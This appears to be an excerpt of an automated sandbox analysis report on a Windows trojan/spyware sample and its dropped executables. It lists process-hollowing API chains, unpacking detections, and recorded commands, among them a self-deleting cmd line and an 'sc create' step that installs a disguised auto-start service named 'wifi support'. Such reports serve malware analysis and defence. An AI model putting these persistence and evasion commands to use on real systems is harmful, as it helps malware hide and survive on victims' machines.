Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: String function: 00428500 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: String function: 004048D0 appears 460 times

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 1_2_00860110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	1_2_00860110
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00401962 Sleep,NtTerminateProcess,	4_2_00401962
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_0040196D Sleep,NtTerminateProcess,	4_2_0040196D
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_00402000
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	4_2_0040250A
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00401A0B NtTerminateProcess,	4_2_00401A0B
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040201A
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040201E
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_2_0040202D
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402084 LocalAlloc,NtQuerySystemInformation,	4_2_00402084
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_2_00402491 NtOpenKey,	4_2_00402491
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_00402000
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	4_1_0040250A
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040201A
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040201E
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	4_1_0040202D
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402084 LocalAlloc,NtQuerySystemInformation,	4_1_00402084
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: 4_1_00402491 NtOpenKey,	4_1_00402491
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 15_2_00860110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	15_2_00860110
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00401962 Sleep,NtTerminateProcess,	16_2_00401962
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_0040196D Sleep,NtTerminateProcess,	16_2_0040196D
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_00402000
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	16_2_0040250A
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00401A0B NtTerminateProcess,	16_2_00401A0B
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040201A
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040201E
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_2_0040202D
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402084 LocalAlloc,NtQuerySystemInformation,	16_2_00402084
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_2_00402491 NtOpenKey,	16_2_00402491
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_00402000
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	16_1_0040250A
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040201A
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040201E
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	16_1_0040202D
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402084 LocalAlloc,NtQuerySystemInformation,	16_1_00402084
Source: C:\Users\user\AppData\Roaming\aafjaea	Code function: 16_1_00402491 NtOpenKey,	16_1_00402491
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00401962 Sleep,NtTerminateProcess,	22_2_00401962
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_0040196D Sleep,NtTerminateProcess,	22_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	22_2_00402000
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	22_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00401A0B NtTerminateProcess,	22_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	22_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	22_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	22_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402084 LocalAlloc,NtQuerySystemInformation,	22_2_00402084
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Code function: 22_2_00402491 NtOpenKey,	22_2_00402491
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: 25_2_00401820 GetCurrentProcess,NtQueryInformationToken,	25_2_00401820
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_0571F940 NtAllocateVirtualMemory,	26_2_0571F940
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Code function: 26_2_0571F860 NtUnmapViewOfSection,	26_2_0571F860

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

25_2_00408E26

Source: B074.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C209.exe.11.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Source: GJXZRPhgm4.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\aafjaea

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@41/20@57/15

Source: C:\Users\user\AppData\Local\Temp\C376.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

25_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

25_2_00409A6B

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_0041C74C __vswprintf_c_l,__wremove,_putc,_atexit,_malloc,_realloc,OpenMutexA,GetBinaryTypeA,SetCurrentDirectoryW,Process32FirstW,EnterCriticalSection,QueryDosDeviceA,TerminateJobObject,GlobalAddAtomA,UnlockFile,FreeResource,GetFullPathNameA,FindNextVolumeMountPointA,GetCompressedFileSizeA,FillConsoleOutputCharacterA,SetNamedPipeHandleState,lstrcpynA,FatalAppExitW,GetConsoleAliasesLengthA,GetProcessTimes,ChangeTimerQueueTimer,SetWaitableTimer,FindClose,CancelDeviceWakeupRequest,SignalObjectAndWait,GlobalReAlloc,OpenMutexA,GetLastError,HeapFree,GetComputerNameW,OpenMutexA,TlsAlloc,LoadLibraryW,GetConsoleScreenBufferInfo,FreeEnvironmentStringsA,GetWriteWatch,GetDevicePowerState,TransactNamedPipe,GetConsoleAliasExesLengthA,GetConsoleAliasA,GetConsoleCP,LockFileEx,VerLanguageNameA,lstrcpyA,SetFileShortNameW,GetThreadLocale,CreateSemaphoreA,CreateIoCompletionPort,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,FindResourceExW,CreateIoCompletionPort,CreateSemaphoreA,SetTapeParameters,PeekConsoleInputA,CreateIoCompletionPort,GetProcAddress,HeapUnlock,GetFileAttributesExA,GetPrivateProfileStructW,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionW,GetPrivateProfileSectionW,SetSystemTimeAdjustment,WriteConsoleW,EndUpdateResourceA,DefineDosDeviceA,LocalFileTimeToFileTime,InterlockedExchange,SetMailslotInfo,CreateActCtxA,lstrcatW,GetCurrentThreadId,TerminateProcess,GetSystemWow64DirectoryA,SetConsoleMode,WriteFile,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,GetStringTypeExA,

1_2_0041C74C

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\GJXZRPhgm4.exe "C:\Users\user\Desktop\GJXZRPhgm4.exe"
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Process created: C:\Users\user\Desktop\GJXZRPhgm4.exe "C:\Users\user\Desktop\GJXZRPhgm4.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\aafjaea C:\Users\user\AppData\Roaming\aafjaea
Source: C:\Users\user\AppData\Roaming\aafjaea	Process created: C:\Users\user\AppData\Roaming\aafjaea C:\Users\user\AppData\Roaming\aafjaea
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B7EC.exe C:\Users\user\AppData\Local\Temp\B7EC.exe
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Process created: C:\Users\user\AppData\Local\Temp\B7EC.exe C:\Users\user\AppData\Local\Temp\B7EC.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C376.exe C:\Users\user\AppData\Local\Temp\C376.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CF8D.exe C:\Users\user\AppData\Local\Temp\CF8D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D80A.exe C:\Users\user\AppData\Local\Temp\D80A.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C mkdir C:\Windows\SysWOW64\ecrnzymb\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process created: C:\Users\user\AppData\Local\Temp\D80A.exe C:\Users\user\AppData\Local\Temp\D80A.exe
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\ackjzztq.exe" C:\Windows\SysWOW64\ecrnzymb\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\SysWOW64\sc.exe" create ecrnzymb binPath= "C:\Windows\SysWOW64\ecrnzymb\ackjzztq.exe /d\"C:\Users\user\AppData\Local\Temp\CF8D.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Process created: C:\Users\user\Desktop\GJXZRPhgm4.exe "C:\Users\user\Desktop\GJXZRPhgm4.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B7EC.exe C:\Users\user\AppData\Local\Temp\B7EC.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\C376.exe C:\Users\user\AppData\Local\Temp\C376.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CF8D.exe C:\Users\user\AppData\Local\Temp\CF8D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D80A.exe C:\Users\user\AppData\Local\Temp\D80A.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\aafjaea	Process created: C:\Users\user\AppData\Roaming\aafjaea C:\Users\user\AppData\Roaming\aafjaea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B7EC.exe	Process created: C:\Users\user\AppData\Local\Temp\B7EC.exe C:\Users\user\AppData\Local\Temp\B7EC.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\C376.exe" & exit	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Process created: C:\Users\user\AppData\Local\Temp\D80A.exe C:\Users\user\AppData\Local\Temp\D80A.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D80A.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\B7EC.tmp

Jump to behavior

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

Code function: 1_2_0041C50F GetTickCount,FreeUserPhysicalPages,GetCalendarInfoA,GetProfileStringA,SetLastError,GetSystemWow64DirectoryA,GetWindowsDirectoryW,GetCPInfoExW,GetDiskFreeSpaceExW,GetStartupInfoA,ReadConsoleOutputCharacterA,GlobalMemoryStatus,GetProcessHeap,GetProcessHeap,GetPrivateProfileIntA,SetPriorityClass,

1_2_0041C50F

Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3[1].dll.23.dr, sqlite3.dll.23.dr	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2368:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3408:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4244:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2016:120:WilError_01

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: Ras	1_2_0041C74C
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: buvamisom	1_2_0041C74C
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: mirel	1_2_0041C74C
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: \H	1_2_0041C74C
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: nacafiretu	1_2_0041C74C
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Command line argument: Kilolonuhu	1_2_0041C74C

Source: D80A.exe.11.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: D80A.exe.11.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.2.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.2.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 26.0.D80A.exe.d20000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\C376.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: GJXZRPhgm4.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: GJXZRPhgm4.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\micat\xi.pdb source: C376.exe, 00000017.00000000.398142069.0000000000401000.00000020.00020000.sdmp, C376.exe.11.dr
Source:	Binary string: 0C:\nenuziw betaxenavumajo hixewepexenag_61.pdb source: GJXZRPhgm4.exe, B7EC.exe.11.dr, aafjaea.11.dr
Source:	Binary string: C:\hevetuzovuxa.pdb source: CF8D.exe, 00000019.00000000.405017606.0000000000401000.00000020.00020000.sdmp, CF8D.exe.11.dr, ackjzztq.exe.25.dr
Source:	Binary string: C:\zoci\kiz\ponecun6\camokixuki1\janel.pdb source: B074.exe.11.dr
Source:	Binary string: HC:\hevetuzovuxa.pdb source: CF8D.exe, 00000019.00000000.405017606.0000000000401000.00000020.00020000.sdmp, CF8D.exe.11.dr, ackjzztq.exe.25.dr
Source:	Binary string: C:\nenuziw betaxenavumajo hixewepexenag_61.pdb source: GJXZRPhgm4.exe, B7EC.exe.11.dr, aafjaea.11.dr

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Unpacked PE file: 23.2.C376.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Unpacked PE file: 25.2.CF8D.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Unpacked PE file: 23.2.C376.exe.400000.0.unpack .text:ER;.data:W;.cixi:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Unpacked PE file: 25.2.CF8D.exe.400000.0.unpack .text:ER;.data:W;.vupa:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: D80A.exe.11.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 26.0.D80A.exe.d20000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
